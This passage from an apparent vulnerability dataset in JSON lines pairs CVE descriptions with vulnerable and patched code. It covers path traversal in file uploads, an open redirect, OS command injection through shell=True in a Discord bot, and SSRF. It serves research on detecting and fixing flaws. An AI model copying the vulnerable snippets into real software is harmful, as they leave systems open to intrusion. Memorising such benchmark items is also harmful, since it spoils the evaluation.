os.makedirs(self.conf.vector.documents_path, exist_ok=True)\n            if self.conf.auth.admin_pass and admin_pass != self.conf.auth.admin_pass:\n                raise HTTPException(\n                    status_code=403,\n                    detail=\"The admin pass key provided was wrong\",\n                )\n            for uploaded in files:\n                if uploaded.filename:  # no cov\n                    file_path = os.path.join(self.conf.vector.documents_path, uploaded.filename)\n                    with open(file_path, \"wb\") as file:\n                        file.write(uploaded.file.read())\n                    # Check if the uploaded file is a zip file\n                    if uploaded.filename.endswith(\".zip\"):\n                        log.info(f\"\\ud83e\\udd10 Unzipping {file_path}\")\n                        with zipfile.ZipFile(file_path, \"r\") as zip_ref:\n                            zip_ref.extractall(self.conf.vector.documents_path)\n                        os.remove(file_path)\n            # TODO: add just the uploaded files instead of rebuilding the triplestore\n            self.llm.build_vectorstore()\n            self.llm.setup_dbqa()\n            return JSONResponse(\n                {\n                    \"message\": f\"Documents uploaded in {self.conf.vector.documents_path}, vectorstore rebuilt.\"\n                }\n            )"}], "fix_func": [{"id": "fix_py_274_1", "commit": "dbb8e3400e5258112179783d74c9cc54310cb72b", "file_path": "src/libre_chat/router.py", "start_line": 114, "end_line": 149, "snippet": "        def upload_documents(\n            files: List[UploadFile] = File(...),\n            admin_pass: Optional[str] = None,\n            # current_user: User = Depends(get_current_user),\n        ) -> JSONResponse:\n            os.makedirs(self.conf.vector.documents_path, exist_ok=True)\n            if self.conf.auth.admin_pass and admin_pass != self.conf.auth.admin_pass:\n                raise HTTPException(\n                    status_code=403,\n                    detail=\"The admin pass key provided was wrong\",\n                )\n            for uploaded in files:\n                if uploaded.filename:  # no cov\n                    file_path = werkzeug.utils.safe_join(self.conf.vector.documents_path, uploaded.filename)\n                    if file_path is None:\n                        raise HTTPException(\n                            status_code=403,\n                            detail=f\"Invalid file name: {uploaded.filename}\",\n                        )\n\n                    with open(file_path, \"wb\") as file:\n                        file.write(uploaded.file.read())\n                    # Check if the uploaded file is a zip file\n                    if uploaded.filename.endswith(\".zip\"):\n                        log.info(f\"\\ud83e\\udd10 Unzipping {file_path}\")\n                        with zipfile.ZipFile(file_path, \"r\") as zip_ref:\n                            zip_ref.extractall(self.conf.vector.documents_path)\n                        os.remove(file_path)\n            # TODO: add just the uploaded files instead of rebuilding the triplestore\n            self.llm.build_vectorstore()\n            self.llm.setup_dbqa()\n            return JSONResponse(\n                {\n                    \"message\": f\"Documents uploaded in {self.conf.vector.documents_path}, vectorstore rebuilt.\"\n                }\n            )"}], "vul_patch": "--- a/src/libre_chat/router.py\n+++ b/src/libre_chat/router.py\n@@ -11,7 +11,13 @@\n                 )\n             for uploaded in files:\n                 if uploaded.filename:  # no cov\n-                    file_path = os.path.join(self.conf.vector.documents_path, uploaded.filename)\n+                    file_path = werkzeug.utils.safe_join(self.conf.vector.documents_path, uploaded.filename)\n+                    if file_path is None:\n+                        raise HTTPException(\n+                            status_code=403,\n+                            detail=f\"Invalid file name: {uploaded.filename}\",\n+                        )\n+\n                     with open(file_path, \"wb\") as file:\n                         file.write(uploaded.file.read())\n                     # Check if the uploaded file is a zip file\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2017-1002150", "cve_description": "python-fedora 0.8.0 and lower is vulnerable to an open redirect resulting in loss of CSRF protection", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/fedora-infra/python-fedora", "patch_url": ["https://github.com/fedora-infra/python-fedora/commit/b27f38a67573f4c989710c9bfb726dd4c1eeb929.patch", "https://github.com/fedora-infra/python-fedora/commit/b27f38a67573f4c989710c9bfb726dd4c1eeb929"], "programing_language": "Python", "vul_func": [{"id": "vul_py_276_1", "commit": "6cf9094", "file_path": "fedora/tg/utils.py", "start_line": 60, "end_line": 137, "snippet": "def url(tgpath, tgparams=None, **kwargs):\n    '''Computes URLs.\n\n    This is a replacement for :func:`turbogears.controllers.url` (aka\n    :func:`tg.url` in the template).  In addition to the functionality that\n    :func:`tg.url` provides, it adds a token to prevent :term:`CSRF` attacks.\n\n    :arg tgpath:  a list or a string. If the path is absolute (starts\n        with a \"/\"), the :attr:`server.webpath`, :envvar:`SCRIPT_NAME` and\n        the approot of the application are prepended to the path. In order for\n        the approot to be detected properly, the root object should extend\n        :class:`turbogears.controllers.RootController`.\n    :kwarg tgparams: See param: ``kwargs``\n    :kwarg kwargs: Query parameters for the URL can be passed in as a\n        dictionary in the second argument *or* as keyword parameters.\n        Values which are a list or a tuple are used to create multiple\n        key-value pairs.\n    :returns: The changed path\n\n    .. versionadded:: 0.3.10\n       Modified from turbogears.controllers.url for :ref:`CSRF-Protection`\n    '''\n    if not isinstance(tgpath, six.string_types):\n        tgpath = '/'.join(list(tgpath))\n    if tgpath.startswith('/'):\n        webpath = (config.get('server.webpath') or '').rstrip('/')\n        if tg_util.request_available():\n            check_app_root()\n            tgpath = request.app_root + tgpath\n            try:\n                webpath += request.wsgi_environ['SCRIPT_NAME'].rstrip('/')\n            except (AttributeError, KeyError):  # pylint: disable-msg=W0704\n                # :W0704: Lack of wsgi environ is fine... we still have\n                # server.webpath\n                pass\n        tgpath = webpath + tgpath\n    if tgparams is None:\n        tgparams = kwargs\n    else:\n        try:\n            tgparams = tgparams.copy()\n            tgparams.update(kwargs)\n        except AttributeError:\n            raise TypeError(\n                'url() expects a dictionary for query parameters')\n    args = []\n    # Add the _csrf_token\n    try:\n        if identity.current.csrf_token:\n            tgparams.update({'_csrf_token': identity.current.csrf_token})\n    except RequestRequiredException:  # pylint: disable-msg=W0704\n        # :W0704: If we are outside of a request (called from non-controller\n        # methods/ templates) just don't set the _csrf_token.\n        pass\n\n    # Check for query params in the current url\n    query_params = six.iteritems(tgparams)\n    scheme, netloc, path, params, query_s, fragment = urlparse(tgpath)\n    if query_s:\n        query_params = chain((p for p in cgi.parse_qsl(query_s) if p[0] !=\n                              '_csrf_token'), query_params)\n\n    for key, value in query_params:\n        if value is None:\n            continue\n        if isinstance(value, (list, tuple)):\n            pairs = [(key, v) for v in value]\n        else:\n            pairs = [(key, value)]\n        for key, value in pairs:\n            if value is None:\n                continue\n            if isinstance(value, unicode):\n                value = value.encode('utf8')\n            args.append((key, str(value)))\n    query_string = urlencode(args, True)\n    tgpath = urlunparse((scheme, netloc, path, params, query_string, fragment))\n    return tgpath"}], "fix_func": [{"id": "fix_py_276_1", "commit": "b27f38a67573f4c989710c9bfb726dd4c1eeb929", "file_path": "fedora/tg/utils.py", "start_line": 60, "end_line": 142, "snippet": "def url(tgpath, tgparams=None, **kwargs):\n    '''Computes URLs.\n\n    This is a replacement for :func:`turbogears.controllers.url` (aka\n    :func:`tg.url` in the template).  In addition to the functionality that\n    :func:`tg.url` provides, it adds a token to prevent :term:`CSRF` attacks.\n\n    :arg tgpath:  a list or a string. If the path is absolute (starts\n        with a \"/\"), the :attr:`server.webpath`, :envvar:`SCRIPT_NAME` and\n        the approot of the application are prepended to the path. In order for\n        the approot to be detected properly, the root object should extend\n        :class:`turbogears.controllers.RootController`.\n    :kwarg tgparams: See param: ``kwargs``\n    :kwarg kwargs: Query parameters for the URL can be passed in as a\n        dictionary in the second argument *or* as keyword parameters.\n        Values which are a list or a tuple are used to create multiple\n        key-value pairs.\n    :returns: The changed path\n\n    .. versionadded:: 0.3.10\n       Modified from turbogears.controllers.url for :ref:`CSRF-Protection`\n    '''\n    if not isinstance(tgpath, six.string_types):\n        tgpath = '/'.join(list(tgpath))\n    if not tgpath.startswith('/'):\n        # Do not allow the url() function to be used for external urls.\n        # This function is primarily used in redirect() calls, so this prevents\n        # covert redirects and thus CSRF leaking.\n        tgpath = '/'\n    if tgpath.startswith('/'):\n        webpath = (config.get('server.webpath') or '').rstrip('/')\n        if tg_util.request_available():\n            check_app_root()\n            tgpath = request.app_root + tgpath\n            try:\n                webpath += request.wsgi_environ['SCRIPT_NAME'].rstrip('/')\n            except (AttributeError, KeyError):  # pylint: disable-msg=W0704\n                # :W0704: Lack of wsgi environ is fine... we still have\n                # server.webpath\n                pass\n        tgpath = webpath + tgpath\n    if tgparams is None:\n        tgparams = kwargs\n    else:\n        try:\n            tgparams = tgparams.copy()\n            tgparams.update(kwargs)\n        except AttributeError:\n            raise TypeError(\n                'url() expects a dictionary for query parameters')\n    args = []\n    # Add the _csrf_token\n    try:\n        if identity.current.csrf_token:\n            tgparams.update({'_csrf_token': identity.current.csrf_token})\n    except RequestRequiredException:  # pylint: disable-msg=W0704\n        # :W0704: If we are outside of a request (called from non-controller\n        # methods/ templates) just don't set the _csrf_token.\n        pass\n\n    # Check for query params in the current url\n    query_params = six.iteritems(tgparams)\n    scheme, netloc, path, params, query_s, fragment = urlparse(tgpath)\n    if query_s:\n        query_params = chain((p for p in cgi.parse_qsl(query_s) if p[0] !=\n                              '_csrf_token'), query_params)\n\n    for key, value in query_params:\n        if value is None:\n            continue\n        if isinstance(value, (list, tuple)):\n            pairs = [(key, v) for v in value]\n        else:\n            pairs = [(key, value)]\n        for key, value in pairs:\n            if value is None:\n                continue\n            if isinstance(value, unicode):\n                value = value.encode('utf8')\n            args.append((key, str(value)))\n    query_string = urlencode(args, True)\n    tgpath = urlunparse((scheme, netloc, path, params, query_string, fragment))\n    return tgpath"}], "vul_patch": "--- a/fedora/tg/utils.py\n+++ b/fedora/tg/utils.py\n@@ -22,6 +22,11 @@\n     '''\n     if not isinstance(tgpath, six.string_types):\n         tgpath = '/'.join(list(tgpath))\n+    if not tgpath.startswith('/'):\n+        # Do not allow the url() function to be used for external urls.\n+        # This function is primarily used in redirect() calls, so this prevents\n+        # covert redirects and thus CSRF leaking.\n+        tgpath = '/'\n     if tgpath.startswith('/'):\n         webpath = (config.get('server.webpath') or '').rstrip('/')\n         if tg_util.request_available():\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-21433", "cve_description": "Discord Recon Server is a bot that allows you to do your reconnaissance process from your Discord. Remote code execution in version 0.0.1 would allow remote users to execute commands on the server resulting in serious issues. This flaw is patched in 0.0.2.", "cwe_info": {"CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/DEMON1A/Discord-Recon", "patch_url": ["https://github.com/DEMON1A/Discord-Recon/commit/26e2a084679679cccdeeabbb6889ce120eff7e50"], "programing_language": "Python", "vul_func": [{"id": "vul_py_240_1", "commit": "a6996fb", "file_path": "app.py", "start_line": 97, "end_line": 114, "snippet": "async def dirsearch(ctx , *, argument):\n    Path = TOOLS['dirsearch']; MainPath = getcwd(); chdir(Path)\n    await ctx.send(f\"**Running Your Dirsearch Scan, We Will Send The Results When It's Done**\")\n    Process = subprocess.Popen(f'python3 dirsearch.py -u {argument} -e * -b' , shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)\n    Output = Process.communicate()[0].decode('UTF-8')\n    Output = removeColors.Remove(Output); chdir(MainPath)\n\n    if len(Output) > 2000:\n        RandomStr = randomStrings.Genrate()\n\n        with open(f'messages/{RandomStr}' , 'w') as Message:\n            Message.write(Output); Message.close()\n            await ctx.send(\"Results: \", file=discord.File(f\"messages/{RandomStr}\"))\n            await ctx.send(f\"\\n**- {ctx.message.author}**\")\n    else:\n        await ctx.send(f'Results:')\n        await ctx.send(f'```{Output}```')\n        await ctx.send(f\"\\n**- {ctx.message.author}**\")"}, {"id": "vul_py_240_2", "commit": "a6996fb", "file_path": "app.py", "start_line": 117, "end_line": 137, "snippet": "async def arjun(ctx , *, argument):\n    Path = TOOLS['arjun']; MainPath = getcwd(); chdir(Path)\n    await ctx.send(f\"**Running Your Arjun Scan, We Will Send The Results When It's Done**\")\n    await ctx.send(f\"**Note: The Bot Won't Respond Until The Scan is Done. All Of Your Commands Now Will Be Executed After This Process is Done.\")\n    Process = subprocess.Popen(f'python3 arjun.py -u {argument}' , shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)\n    Output = Process.communicate()[0].decode('UTF-8')\n    Output = removeColors.Remove(Output); chdir(MainPath)\n    Output = removeString.removeString('Processing' , Output=Output)\n\n    if len(Output) > 2000:\n        RandomStr = randomStrings.Genrate()\n\n        with open(f'messages/{RandomStr}' , 'w') as Message:\n            Message.write(Output); Message.close()\n            await ctx.send(\"**Arjun Results:**\", file=discord.File(f\"messages/{RandomStr}\"))\n            await ctx.send(f\"\\n**- {ctx.message.author}**\")\n    else:\n        targetName = argument.split(' ')[0].replace('http://' , '').replace('https://' , '')\n        await ctx.send(f'Arjun Results For {targetName}:')\n        await ctx.send(f'```{Output}```')\n        await ctx.send(f\"\\n**- {ctx.message.author}**\")"}], "fix_func": [{"id": "fix_py_240_1", "commit": "26e2a08", "file_path": "app.py", "start_line": 97, "end_line": 118, "snippet": "async def dirsearch(ctx , *, argument):\n    if not CommandInjection.commandInjection(argument=argument , RCE=RCE):\n        await ctx.send(\"**Your Command Contains Unallowed Chars. Don't Try To Use It Again.**\")\n        return\n    \n    Path = TOOLS['dirsearch']; MainPath = getcwd(); chdir(Path)\n    await ctx.send(f\"**Running Your Dirsearch Scan, We Will Send The Results When It's Done**\")\n    Process = subprocess.Popen(f'python3 dirsearch.py -u {argument} -e * -b' , shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)\n    Output = Process.communicate()[0].decode('UTF-8')\n    Output = removeColors.Remove(Output); chdir(MainPath)\n\n    if len(Output) > 2000:\n        RandomStr = randomStrings.Genrate()\n\n        with open(f'messages/{RandomStr}' , 'w') as Message:\n            Message.write(Output); Message.close()\n            await ctx.send(\"Results: \", file=discord.File(f\"messages/{RandomStr}\"))\n            await ctx.send(f\"\\n**- {ctx.message.author}**\")\n    else:\n        await ctx.send(f'Results:')\n        await ctx.send(f'```{Output}```')\n        await ctx.send(f\"\\n**- {ctx.message.author}**\")"}, {"id": "fix_py_240_2", "commit": "26e2a08", "file_path": "app.py", "start_line": 121, "end_line": 145, "snippet": "async def arjun(ctx , *, argument):\n    if not CommandInjection.commandInjection(argument=argument , RCE=RCE):\n        await ctx.send(\"**Your Command Contains Unallowed Chars. Don't Try To Use It Again.**\")\n        return\n    \n    Path = TOOLS['arjun']; MainPath = getcwd(); chdir(Path)\n    await ctx.send(f\"**Running Your Arjun Scan, We Will Send The Results When It's Done**\")\n    await ctx.send(f\"**Note: The Bot Won't Respond Until The Scan is Done. All Of Your Commands Now Will Be Executed After This Process is Done.\")\n    Process = subprocess.Popen(f'python3 arjun.py -u {argument}' , shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)\n    Output = Process.communicate()[0].decode('UTF-8')\n    Output = removeColors.Remove(Output); chdir(MainPath)\n    Output = removeString.removeString('Processing' , Output=Output)\n\n    if len(Output) > 2000:\n        RandomStr = randomStrings.Genrate()\n\n        with open(f'messages/{RandomStr}' , 'w') as Message:\n            Message.write(Output); Message.close()\n            await ctx.send(\"**Arjun Results:**\", file=discord.File(f\"messages/{RandomStr}\"))\n            await ctx.send(f\"\\n**- {ctx.message.author}**\")\n    else:\n        targetName = argument.split(' ')[0].replace('http://' , '').replace('https://' , '')\n        await ctx.send(f'Arjun Results For {targetName}:')\n        await ctx.send(f'```{Output}```')\n        await ctx.send(f\"\\n**- {ctx.message.author}**\")"}], "vul_patch": "--- a/app.py\n+++ b/app.py\n@@ -1,4 +1,8 @@\n async def dirsearch(ctx , *, argument):\n+    if not CommandInjection.commandInjection(argument=argument , RCE=RCE):\n+        await ctx.send(\"**Your Command Contains Unallowed Chars. Don't Try To Use It Again.**\")\n+        return\n+    \n     Path = TOOLS['dirsearch']; MainPath = getcwd(); chdir(Path)\n     await ctx.send(f\"**Running Your Dirsearch Scan, We Will Send The Results When It's Done**\")\n     Process = subprocess.Popen(f'python3 dirsearch.py -u {argument} -e * -b' , shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)\n\n--- a/app.py\n+++ b/app.py\n@@ -1,4 +1,8 @@\n async def arjun(ctx , *, argument):\n+    if not CommandInjection.commandInjection(argument=argument , RCE=RCE):\n+        await ctx.send(\"**Your Command Contains Unallowed Chars. Don't Try To Use It Again.**\")\n+        return\n+    \n     Path = TOOLS['arjun']; MainPath = getcwd(); chdir(Path)\n     await ctx.send(f\"**Running Your Arjun Scan, We Will Send The Results When It's Done**\")\n     await ctx.send(f\"**Note: The Bot Won't Respond Until The Scan is Done. All Of Your Commands Now Will Be Executed After This Process is Done.\")\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-32750", "cve_description": "Pydio Cells through 4.1.2 allows SSRF. For longer running processes, Pydio Cells allows for the creation of jobs, which are run in the background. The job \"remote-download\" can be used to cause the backend to send a HTTP GET request to a specified URL and save the response to a new file. The response file is then available in a user-specified folder in Pydio Cells.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/pydio/cells", "patch_url": ["https://github.com/pydio/cells/commit/259fbfdd1c909d32ae2dc366163bc027b6722b90"], "programing_language": "Go", "vul_func": [{"id": "vul_go_134_1", "commit": "6326c5f", "file_path": "gateway/data/hooks/auth-handler.go", "start_line": 42, "end_line": 167, "snippet": "func (a pydioAuthHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n\n\t//var md map[string]string\n\tvar userName string\n\tctx := r.Context()\n\tctx = servicecontext.HttpRequestInfoToMetadata(ctx, r)\n\tctx = servicecontext.WithServiceName(ctx, common.ServiceGatewayData)\n\n\tresignRequestV4 := false\n\tresignRequestV4Presigned := false\n\n\tjwt := r.URL.Query().Get(\"pydio_jwt\")\n\n\tif len(jwt) > 0 {\n\t\t//logger.Info(\"Found JWT in URL: replace by header and remove from URL\")\n\t\tr.Header.Set(\"X-Pydio-Bearer\", jwt)\n\t\tr.URL.RawQuery = strings.Replace(r.URL.RawQuery, \"&pydio_jwt=\"+jwt, \"\", 1)\n\t\t_ = r.ParseForm()\n\t\tif signedKey, err := cmd.ExposedParsePresignV4(r.Form); err == nil && signedKey != a.globalAccessKey {\n\t\t\tresignRequestV4Presigned = true\n\t\t}\n\n\t} else if bearer, ok := r.Header[\"X-Pydio-Bearer\"]; !ok || len(bearer) == 0 {\n\t\t// Copy request.\n\t\treq := *r\n\t\t// Save authorization header.\n\t\tv4Auth := req.Header.Get(\"Authorization\")\n\t\t// Parse signature version '4' header.\n\t\tif signedKey, err := cmd.ExposedParseSignV4(v4Auth); err == nil && signedKey != a.globalAccessKey {\n\t\t\tlog.Logger(ctx).Debug(\"Use AWS Api Key as JWT: \" + signedKey)\n\t\t\tresignRequestV4 = true\n\t\t\tr.Header.Set(\"X-Pydio-Bearer\", signedKey)\n\t\t}\n\t}\n\n\tif bearer, ok := r.Header[\"X-Pydio-Bearer\"]; ok && len(bearer) > 0 {\n\n\t\trawIDToken := strings.Join(bearer, \"\")\n\t\tvar err error\n\t\tvar claims claim.Claims\n\t\tctx, claims, err = a.jwtVerifier.Verify(ctx, rawIDToken)\n\t\tif err != nil {\n\t\t\tcmd.ExposedWriteErrorResponse(ctx, w, cmd.ErrAccessDenied, r.URL)\n\t\t\treturn\n\t\t}\n\t\tuserName = claims.Name\n\t\tif resignRequestV4 {\n\t\t\t// User is OK, override signature with service account ID/Secret\n\t\t\tr = signer.SignV4(*r, common.S3GatewayRootUser, common.S3GatewayRootPassword, \"\", common.S3GatewayDefaultRegion)\n\t\t} else if resignRequestV4Presigned {\n\t\t\torigUrl := r.URL\n\t\t\torigHeader := r.Header\n\t\t\tnewUrl := &url.URL{\n\t\t\t\tScheme: origUrl.Scheme,\n\t\t\t\tHost:   origUrl.Host,\n\t\t\t\tPath:   origUrl.Path,\n\t\t\t}\n\t\t\tnewV := newUrl.Query()\n\t\t\texpire := int64(900)\n\t\t\tfor k, vv := range origUrl.Query() {\n\t\t\t\tif k == \"X-Amz-Expires\" {\n\t\t\t\t\tif ex, e := strconv.ParseInt(strings.Join(vv, \"\"), 10, 64); e == nil {\n\t\t\t\t\t\texpire = ex\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif strings.HasPrefix(k, \"X-Amz-\") || k == \"pydio_jwt\" {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tfor _, v := range vv {\n\t\t\t\t\tnewV.Set(k, v)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif len(newV) > 0 {\n\t\t\t\tnewUrl.RawQuery = newV.Encode()\n\t\t\t}\n\n\t\t\tnewReq := *r\n\t\t\tnewReq.URL = newUrl\n\t\t\tnewReq.RequestURI = newUrl.RequestURI()\n\t\t\t_ = newReq.ParseForm()\n\t\t\tr = signer.PreSignV4(newReq, common.S3GatewayRootUser, common.S3GatewayRootPassword, \"\", common.S3GatewayDefaultRegion, expire)\n\t\t\t// Re-append headers\n\t\t\tif len(origHeader) > 0 {\n\t\t\t\tr.Header = http.Header{}\n\t\t\t\tfor k, vv := range origHeader {\n\t\t\t\t\tfor _, v := range vv {\n\t\t\t\t\t\tr.Header.Set(k, v)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t} else if agent, aOk := r.Header[\"User-Agent\"]; aOk && strings.Contains(strings.Join(agent, \"\"), \"pydio.sync.client.s3\") {\n\n\t\tuserName = common.PydioSystemUsername\n\n\t} else {\n\n\t\tif user, er := permissions.SearchUniqueUser(ctx, common.PydioS3AnonUsername, \"\"); er == nil {\n\t\t\tuserName = common.PydioS3AnonUsername\n\t\t\tvar s []string\n\t\t\tfor _, role := range user.Roles {\n\t\t\t\tif role.UserRole { // Just append the User Role\n\t\t\t\t\ts = append(s, role.Uuid)\n\t\t\t\t}\n\t\t\t}\n\t\t\tanonClaim := claim.Claims{\n\t\t\t\tName:      common.PydioS3AnonUsername,\n\t\t\t\tRoles:     strings.Join(s, \",\"),\n\t\t\t\tProfile:   \"anon\",\n\t\t\t\tGroupPath: \"/\",\n\t\t\t}\n\t\t\tctx = context.WithValue(ctx, claim.ContextKey, anonClaim)\n\n\t\t} else {\n\t\t\tcmd.ExposedWriteErrorResponse(ctx, w, cmd.ErrAccessDenied, r.URL)\n\t\t\treturn\n\t\t}\n\n\t}\n\n\tctx = metadata.WithUserNameMetadata(ctx, userName)\n\tnewRequest := r.WithContext(ctx)\n\ta.handler.ServeHTTP(w, newRequest)\n\n}"}, {"id": "vul_go_134_2", "commit": "6326c5f", "file_path": "idm/user/rest/rest.go", "start_line": 336, "end_line": 681, "snippet": "func (s *UserHandler) PutUser(req *restful.Request, rsp *restful.Response) {\n\n\tctx := req.Request.Context()\n\tvar inputUser idm.User\n\terr := req.ReadEntity(&inputUser)\n\tif err != nil {\n\t\tlog.Logger(ctx).Error(\"cannot fetch idm.User from request\", zap.Error(err))\n\t\tservice.RestError500(req, rsp, err)\n\t\treturn\n\t}\n\tif inputUser.Login == \"\" {\n\t\tinputUser.Login = req.PathParameter(\"Login\")\n\t}\n\tif inputUser.Login == \"\" {\n\t\tservice.RestError500(req, rsp, fmt.Errorf(\"cannot create user without at least a login\"))\n\t\treturn\n\t}\n\tcli := idm.NewUserServiceClient(grpc2.GetClientConnFromCtx(ctx, common.ServiceUser))\n\tlog.Logger(req.Request.Context()).Debug(\"Received User.Put API request\", inputUser.ZapLogin())\n\tvar update *idm.User\n\tif inputUser.Uuid != \"\" {\n\t\tif existing, exists := s.userById(ctx, inputUser.Uuid, cli); exists {\n\t\t\tupdate = existing\n\t\t}\n\t} else {\n\t\tif _, err := permissions.SearchUniqueUser(ctx, inputUser.Login, \"\"); err == nil {\n\t\t\tservice.RestError403(req, rsp, fmt.Errorf(\"User with the same login already exists!\"))\n\t\t\treturn\n\t\t}\n\t}\n\tvar existingAcls []*idm.ACL\n\tctxLogin, ctxClaims := permissions.FindUserNameInContext(ctx)\n\tif update != nil {\n\t\t// Check User Policies\n\t\tif !s.MatchPolicies(ctx, update.Uuid, update.Policies, service2.ResourcePolicyAction_WRITE) {\n\t\t\tlog.Auditer(ctx).Error(\n\t\t\t\tfmt.Sprintf(\"Forbidden action: could not edit user [%s]\", update.GetLogin()),\n\t\t\t\tlog.GetAuditId(common.AuditUserUpdate),\n\t\t\t\tupdate.ZapUuid(),\n\t\t\t)\n\t\t\tservice.RestError403(req, rsp, errors.Forbidden(common.ServiceUser, \"You are not allowed to edit this user!\"))\n\t\t\treturn\n\t\t}\n\t\t// Check ADD/REMOVE Roles Policies\n\t\troleCli := idm.NewRoleServiceClient(grpc2.GetClientConnFromCtx(ctx, common.ServiceRole))\n\t\trolesToCheck := s.diffRoles(inputUser.Roles, update.Roles)\n\t\tremoves := s.diffRoles(update.Roles, inputUser.Roles)\n\t\tlog.Logger(ctx).Debug(\"ADD/REMOVE ROLES\", log.DangerouslyZapSmallSlice(\"add\", rolesToCheck), log.DangerouslyZapSmallSlice(\"remove\", removes), log.DangerouslyZapSmallSlice(\"new\", inputUser.Roles), log.DangerouslyZapSmallSlice(\"existings\", update.Roles))\n\t\trolesToCheck = append(rolesToCheck, removes...)\n\t\tif err := s.checkCanAssignRoles(ctx, rolesToCheck, roleCli); err != nil {\n\t\t\tlog.Auditer(ctx).Error(\n\t\t\t\tfmt.Sprintf(\"Forbidden action: could not assign roles on [%s]\", update.GetLogin()),\n\t\t\t\tlog.GetAuditId(common.AuditUserUpdate),\n\t\t\t\tupdate.ZapUuid(),\n\t\t\t)\n\t\t\tservice.RestError403(req, rsp, err)\n\t\t\treturn\n\t\t}\n\t\t// Check user own password change\n\t\tif inputUser.Password != \"\" && ctxLogin == inputUser.Login {\n\t\t\tif _, err := cli.BindUser(ctx, &idm.BindUserRequest{UserName: inputUser.Login, Password: inputUser.OldPassword}); err != nil {\n\t\t\t\tservice.RestError401(req, rsp, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\t// Load current ACLs for personal role\n\t\tfor _, r := range update.Roles {\n\t\t\tif r.UserRole {\n\t\t\t\tvar er error\n\t\t\t\texistingAcls, er = permissions.GetACLsForRoles(ctx, []*idm.Role{r}, &idm.ACLAction{Name: \"parameter:*\"})\n\t\t\t\tif er != nil {\n\t\t\t\t\tservice.RestError500(req, rsp, er)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t// Put back the pydio: attributes\n\t\tif update.Attributes != nil {\n\t\t\tfor k, v := range update.Attributes {\n\t\t\t\tif strings.HasPrefix(k, idm.UserAttrPrivatePrefix) {\n\t\t\t\t\tif inputUser.Attributes == nil {\n\t\t\t\t\t\tinputUser.Attributes = map[string]string{}\n\t\t\t\t\t}\n\t\t\t\t\tinputUser.Attributes[k] = v\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// For creation by non-admin, check USER_CREATE_USERS plugins permission.\n\tif update == nil && ctxClaims.Profile != common.PydioProfileAdmin && !inputUser.IsHidden() {\n\t\tglobal := config.Get(\"frontend\", \"plugin\", \"core.auth\", \"USER_CREATE_USERS\").Default(true).Bool()\n\t\tacl, e := permissions.AccessListFromContextClaims(ctx)\n\t\tif e != nil {\n\t\t\tservice.RestError500(req, rsp, e)\n\t\t\treturn\n\t\t}\n\t\tif er := permissions.AccessListLoadFrontValues(ctx, acl); er != nil {\n\t\t\tservice.RestError500(req, rsp, e)\n\t\t\treturn\n\t\t}\n\t\tlocal := acl.FlattenedFrontValues().Val(\"parameters\", \"core.auth\", \"USER_CREATE_USERS\", permissions.FrontWsScopeAll).Default(global).Bool()\n\t\tif !local {\n\t\t\tservice.RestError403(req, rsp, fmt.Errorf(\"you are not allowed to create users\"))\n\t\t\treturn\n\t\t}\n\t}\n\t// Recheck that crtUser is not hidden\n\tif update == nil && ctxClaims.Profile == common.PydioProfileShared {\n\t\tcrtUser, e := permissions.SearchUniqueUser(ctx, ctxLogin, \"\")\n\t\tif e != nil {\n\t\t\tservice.RestError401(req, rsp, fmt.Errorf(\"invalid context user\"))\n\t\t\treturn\n\t\t}\n\t\tif crtUser.IsHidden() {\n\t\t\tservice.RestError403(req, rsp, fmt.Errorf(\"you are not allowed to create users\"))\n\t\t\treturn\n\t\t}\n\t}\n\n\tif inputUser.IsGroup {\n\t\tif ctxClaims.Profile != common.PydioProfileAdmin {\n\t\t\tservice.RestError403(req, rsp, fmt.Errorf(\"you are not allowed to create groups\"))\n\t\t\treturn\n\t\t}\n\t\tinputUser.GroupPath = strings.TrimSuffix(inputUser.GroupPath, \"/\") + \"/\" + inputUser.GroupLabel\n\t} else {\n\t\t// Add a default profile\n\t\tif value, ok := inputUser.Attributes[idm.UserAttrProfile]; !ok || value == \"\" {\n\t\t\tinputUser.Attributes[idm.UserAttrProfile] = common.PydioProfileShared\n\t\t}\n\t\t// Check profile is not higher than current user profile\n\t\tif profilesLevel[inputUser.Attributes[idm.UserAttrProfile]] > profilesLevel[ctxClaims.Profile] {\n\t\t\tservice.RestError403(req, rsp, fmt.Errorf(\"you are not allowed to set a profile (%s) higher than your current profile (%s)\", inputUser.Attributes[idm.UserAttrProfile], ctxClaims.Profile))\n\t\t\treturn\n\t\t}\n\t\tif _, ok := inputUser.Attributes[idm.UserAttrPassHashed]; ok {\n\t\t\tservice.RestError403(req, rsp, fmt.Errorf(\"you are not allowed to use this attribute\"))\n\t\t\treturn\n\t\t}\n\t}\n\n\tvar acls []*idm.ACL\n\tvar deleteAclActions []string\n\tvar sendEmail bool\n\tcleanAttributes := map[string]string{}\n\tfor k, v := range inputUser.Attributes {\n\t\tif k == \"send_email\" {\n\t\t\tsendEmail = v == 